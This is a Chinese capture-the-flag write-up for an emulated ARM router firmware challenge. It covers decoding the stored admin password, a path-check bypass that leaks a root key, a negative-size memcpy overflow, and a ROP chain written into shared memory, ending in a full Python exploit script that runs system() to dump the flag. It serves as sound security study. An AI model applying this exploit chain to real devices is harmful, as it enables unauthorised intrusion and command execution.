2025强网拟态-win_致敬mt 参考文章:第八届“强网”拟态防御国际精英挑战赛 - WIN!致敬mt 复现 - Hexo
本地启动 1 2 3 4 5 6 7 8 9 sudo qemu-system-arm \ -M versatilepb \ -m 256 \ -kernel vmlinuz-3.2.0-4-versatile \ -initrd initrd.img-3.2.0-4-versatile \ -hda debian_wheezy_armel_standard.qcow2 \ -append "root=/dev/sda1 console=ttyAMA0" \ -net nic -net user,hostfwd=tcp::80-:80,hostfwd=tcp::4444-:22,hostfwd=tcp::1234-:1234 \ -nographic
其实直接运行
就可以了,但是为了调试和使用ssh传输文件,所以多映射了两个端口出来
分析固件 扫描一下端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 root@debian-armel:~# netstat -anp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:47881 0.0.0.0:* LISTEN 1534/rpc.statd tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1503/rpcbind tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2244/lighttpd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2273/sshd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2199/exim4 tcp6 0 0 :::111 :::* LISTEN 1503/rpcbind tcp6 0 0 :::80 :::* LISTEN 2244/lighttpd tcp6 0 0 :::60722 :::* LISTEN 1534/rpc.statd tcp6 0 0 :::22 :::* LISTEN 2273/sshd tcp6 0 0 ::1:25 :::* LISTEN 2199/exim4 udp 0 0 0.0.0.0:50958 0.0.0.0:* 1534/rpc.statd udp 0 0 0.0.0.0:828 0.0.0.0:* 1503/rpcbind udp 0 0 0.0.0.0:68 0.0.0.0:* 1579/dhclient udp 0 0 0.0.0.0:48725 0.0.0.0:* 1579/dhclient udp 0 0 127.0.0.1:862 0.0.0.0:* 1534/rpc.statd udp 0 0 0.0.0.0:111 0.0.0.0:* 1503/rpcbind udp6 0 0 :::828 :::* 1503/rpcbind udp6 0 0 :::49222 :::* 1534/rpc.statd udp6 0 0 :::111 :::* 1503/rpcbind udp6 0 0 :::5530 :::* 1579/dhclient
可以发现一个httpd服务
查找一下相关文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 root@debian-armel:/# find . -name "*lighttpd*" ./lib/systemd/system/lighttpd.service ./var/lib/dpkg/info/lighttpd.conffiles ./var/lib/dpkg/info/lighttpd.postrm ./var/lib/dpkg/info/lighttpd.md5sums ./var/lib/dpkg/info/lighttpd.postinst ./var/lib/dpkg/info/lighttpd.preinst ./var/lib/dpkg/info/lighttpd.list ./var/lib/dpkg/info/lighttpd.prerm ./var/cache/lighttpd ./var/cache/lighttpd/compress/index.lighttpd.html-gzip-130683-3585-1760265936 ./var/cache/apt/archives/lighttpd_1.4.31-4+deb7u5_armel.deb ./var/www/index.lighttpd.html ./var/log/lighttpd ./usr/lib/lighttpd ./usr/lib/tmpfiles.d/lighttpd.tmpfile.conf ./usr/share/lintian/overrides/lighttpd ./usr/share/lighttpd ./usr/share/man/man8/lighttpd.8.gz ./usr/share/man/man1/lighttpd-enable-mod.1.gz ./usr/share/man/man1/lighttpd-disable-mod.1.gz ./usr/share/doc/lighttpd ./usr/sbin/lighttpd-enable-mod ./usr/sbin/lighttpd-disable-mod ./usr/sbin/lighttpd ./usr/sbin/lighttpd-angel ./etc/rc3.d/S17lighttpd ./etc/init.d/lighttpd ./etc/rc2.d/S17lighttpd ./etc/cron.daily/lighttpd ./etc/lighttpd ./etc/lighttpd/lighttpd.conf ./etc/rc4.d/S17lighttpd ./etc/rc5.d/S17lighttpd ./etc/rc0.d/K01lighttpd ./etc/logrotate.d/lighttpd ./etc/rc1.d/K01lighttpd ./etc/rc6.d/K01lighttpd ./run/lighttpd.pid ./run/lighttpd
配置文件在/etc/lighttpd/lighttpd.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 root@debian-armel:/# cat /etc/lighttpd/lighttpd.conf server.modules = ( "mod_access" , "mod_alias" , "mod_compress" , "mod_redirect" , ) server.document-root = "/var/www" server.upload-dirs = ( "/var/cache/lighttpd/uploads" ) server.errorlog = "/var/log/lighttpd/error.log" server.pid-file = "/var/run/lighttpd.pid" server.username = "www-data" server.groupname = "www-data" server.port = 80 index-file.names = ( "index.php" , "index.html" , "index.lighttpd.html" ) url.access-deny = ( "~" , ".inc" ) static-file.exclude-extensions = ( ".php" , ".pl" , ".fcgi" ) compress.cache-dir = "/var/cache/lighttpd/compress/" compress.filetype = ( "application/javascript" , "text/css" , "text/html" , "text/plain" ) server.modules += ( "mod_setenv" ) etag.use-inode = "disable" etag.use-mtime = "disable" etag.use-size = "disable" $HTTP ["url" ] =~ "\.(html|css|js|png|jpg|gif)$" { setenv.add-response-header += ( "Cache-Control" => "no-store, no-cache, must-revalidate" , "Pragma" => "no-cache" , "Expires" => "0" ) } include_shell "/usr/share/lighttpd/use-ipv6.pl " + server.port include_shell "/usr/share/lighttpd/create-mime.assign.pl" include_shell "/usr/share/lighttpd/include-conf-enabled.pl"
可以看到服务根目录为:/var/www,服务端口为80,且可以直接访问
看一下目录下的文件,很显然是通过cgi来调用外部程序的
1 2 3 4 5 6 root@debian-armel:/var/www# ls assets cgi-bin index.html index.lighttpd.html js root@debian-armel:/var/www# cd cgi-bin root@debian-armel:/var/www/cgi-bin# ls auth.cgi init.sh manage.cgi session_check.cgi upload.cgi gdbserver lang.cgi watch
尝试访问其他路由都会跳转到cgi-bin/auth.cgi,且输出Login failed,很显然需要授权认证通过后才可以访问其他路由
auth.cgi 看一下加密逻辑,将输入的密码进行循环加密然后进行base64加密,
而比较的密码和用户名在/tmp/store/users.txt目录下
1 2 root@debian-armel:/var/www/cgi-bin# cat /tmp/store/users.txt admin:dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==
可以看到只有一个用户为admin,解密一下密文,就可以得到原始密码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import base64def xor_decrypt (data: bytes , key: str ): key_bytes = key.encode() key_len = len (key_bytes) return bytes ([data[i] ^ key_bytes[i % key_len] for i in range (len (data))]) def base64_xor_decode (encoded_str: str , key: str ): decoded_data = base64.b64decode(encoded_str) print (decoded_data) decrypted_data = xor_decrypt(decoded_data, key) try : return decrypted_data.decode('utf-8' ) except UnicodeDecodeError: return decrypted_data if __name__ == "__main__" : encoded = "dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==" key = "N1K_ROUT3R" result = base64_xor_decode(encoded, key) print ("解密结果:" , result)
得到密码为8g323##a08h33zx33@!B!$$$$$$$
manage.cgi 这个地方会将参数rk与tmp/rookey进行比较,如果相等就会进入sub_969c
而sub_969c最终会调用attack函数
attack函数会读取tmp/store/id.txt中的id作为size,然后将ptr里的内容拷贝到ptr_里,而ptr里的内容来自share_ptr,这个是一个共享内存
而size是int类型,但是copy函数中是当作unsigned int size来用的,只要size里是个负数,就可以实现拷贝溢出
现在需要考虑的是:
如何创建tmp/rookey并获得里面的key
如何创建tmp/store/id.txt并向里面写入负数
如何向shm中写入溢出的数据以及rop链
lang.cgi 1 2 3 root@debian-armel:/var/www# grep -r "id.txt" . Binary file ./cgi-bin/manage.cgi matches Binary file ./cgi-bin/lang.cgi matches
检索到lang.cgi中含有id.txt字符串,该程序可以设置id并创建tmp/store/id.txt
watch 1 2 3 root@debian-armel:/var/www# grep -r "rootkey" . Binary file ./cgi-bin/watch matches Binary file ./cgi-bin/manage.cgi matches
检索到watch中有rootkey,该程序会创建/tmp/rootkey并向其中写入一个随机密码
upload.cgi 接下来需要想办法泄露rootkey,可以看到在这个程序的download中,会检查path,要求path中””.“后面必须为”/“或者g,还限制了S和s,不知道有啥用,然后要求nik.gif结尾,然是在后续的处理中,只取/tmp/path的前0x60字节处理,然后将其中的内容打印出来,可以通过精心构造./././.....rootkeynik.gif这种path,来绕过检测,并泄露rootkey
写入shm 现在还需要将要溢出的数据写入shm
在manage.cgi的set_publicfile函数中可以看到,根据参数cnt1和cnt2,会将end_buf[cnt1+1]中的字节写入shm[nct2]中,
可以看到end_buf的数据来自ptr,两个写入方式
end_buf[n80 + 1] = now_hex_bytes
end_buf[81] = ptr[80]
第一种好用,可以一次性写入, 但是前面有一大堆检测,很难绕过,而当n80==80的时候,固定会将ptr[80]写入end_buf[81],也就是可以每次将要写入的字节存放在ptr[80],然后就会固定写入end_buf[81],然后将cnt1设置为80,就会将end_buf[81]写入shm[cnt2]
而ptr来自/tmp/store/publicfile.txt,然后将里面的每两个字符解析为一个字节,如61->0x61,也就是只要控制/tmp/store/publicfile.txt里的内容,就可以将要溢出的数据写入shm
1 2 3 root@debian-armel:/var/www# grep -r "publicfile.txt" . Binary file ./cgi-bin/upload.cgi matches Binary file ./cgi-bin/manage.cgi matches
可以看到publicfile.txt的写入应该在upload.cgi
其中可以发现upload_pubkey功能,要求写入的内容最大不能超过512个字符
现在所有条件都具备了,只需要溢出rop就好了,而且没有开aslr,gadget也很好找
1 2 root@debian-armel:/var/www/cgi-bin# cat /proc/sys/kernel/randomize_va_space 0
编写exp调试后可以看到,成功溢出,并可以控制程序执行流,将flag写入到了tmp/store/logs.txt中,接下来无论是通过页面访问logs功能,还是发请求访问,都可以看到flag
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 from pwn import *import requestsfrom urllib.parse import quote_pluslibc_base=0x0 heap_base=0x0 pie=0x0 def getshell () : return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' ))r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) ggg = lambda :(gdb.attach(p),pause()) mysession=None mysid=None base_url="http://192.168.49.130" headers = { "Host" : "192.168.49.130" , "User-Agent" : "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Content-Type" : "application/x-www-form-urlencoded" , "Origin" : "http://192.168.49.130" , "Referer" : "http://192.168.49.130/" , "Connection" : "keep-alive" } def login (username='admin' ,password="8g323##a08h33zx33@!B!$$$$$$$" ): global mysession,mysid url="/cgi-bin/auth.cgi" mysession=requests.Session() data=f"username={quote_plus(username)} &password={quote_plus(password)} " resp=mysession.post(base_url+url,headers=headers,data=data,allow_redirects=False ) mysid=mysession.cookies.get("SID" ) print (mysession.cookies) if not mysid: info("[-] 登陆失败,未获取到SID" ) mysession=None return False info(f"[+] 登陆成功,SID={mysid} " ) return True def set_cookies (): if mysid: mysession.cookies.set ("SID" ,mysid) info("[+] 设置COOKIE" ) else : info("[-] 未设置SID" ) exit(-1 ) def send_get (url,params ): set_cookies() resp=mysession.get(base_url+url,headers=headers,params=params) return resp.text def send_post (url,data ): set_cookies() resp=mysession.post(base_url+url,headers=headers,data=data) return resp def creat_rootkey (): return send_get("/cgi-bin/watch" ,{}) def upload (data ): return send_post("/cgi-bin/upload.cgi" ,data) def set_id (params ): return send_get("/cgi-bin/lang.cgi" ,params) def manage (data ): return send_post("/cgi-bin/manage.cgi" ,data) libc_base=0xb6e8f000 shm_addr=0xb6ffc000 cmd=b"cat /home/ctf/flag > /tmp/store/logs.txt\x00" system=li(0x38d34 ) gadget=li(0x0077924 ) rop_padding = b'a' * 80 cmd_addr=shm_addr+len (b'b' * (0x1c +0x8 )+p32(gadget)+p32(0 )+p32(0 )+p32(system)) payload_data = b'b' * (0x1c +0x8 )+p32(gadget)+p32(cmd_addr)+b'aaaa' +p32(system)+cmd+b'\x00' *4 def write_shm (): padding_hex = rop_padding.hex () for i in range (len (payload_data)): current_byte = payload_data[i] byte_hex = f'{(current_byte):02x} ' pk_content = padding_hex + byte_hex info(f"pk_content: {pk_content} " ) payload = { "action" : "upload_pubkey" , "filecontent" : pk_content, } upload(payload) payload = { "action" : "set_publicfile" , "cnt1" : 80 , "cnt2" : i, } manage(payload) info(f"[+] 向shm中写入第{i} 个字节: 0x{byte_hex} ('{current_byte} ')" ) def attack (rk ): payload={ "rk" :rk, } manage(payload) def redirect_flag_to_log (): creat_rootkey() suffix="nik.gif" key="/rootkey" lenkey=len ("/tmp/" +key)+1 file_path="./" *(0x60 //2 ) file_path=file_path[:0x60 -lenkey]+key+suffix info(len (file_path)-len (suffix)) info(file_path) payload={ "action" :"download" , "path" :file_path, } rootkey=upload(payload) info(f"[+] rootkey:{rootkey.text} " ) payload={ "setid" :"-1" , } set_id(payload) info("[+] 成功设置id" ) write_shm() info("[+] 成功写入shm" ) attack(rootkey) info("[+] 实现栈溢出" ) def catflag (): payload={ "action" :"logs" , } flag=manage(payload) print ("[+]" , flag.text) login() redirect_flag_to_log() sleep(2 ) login() catflag()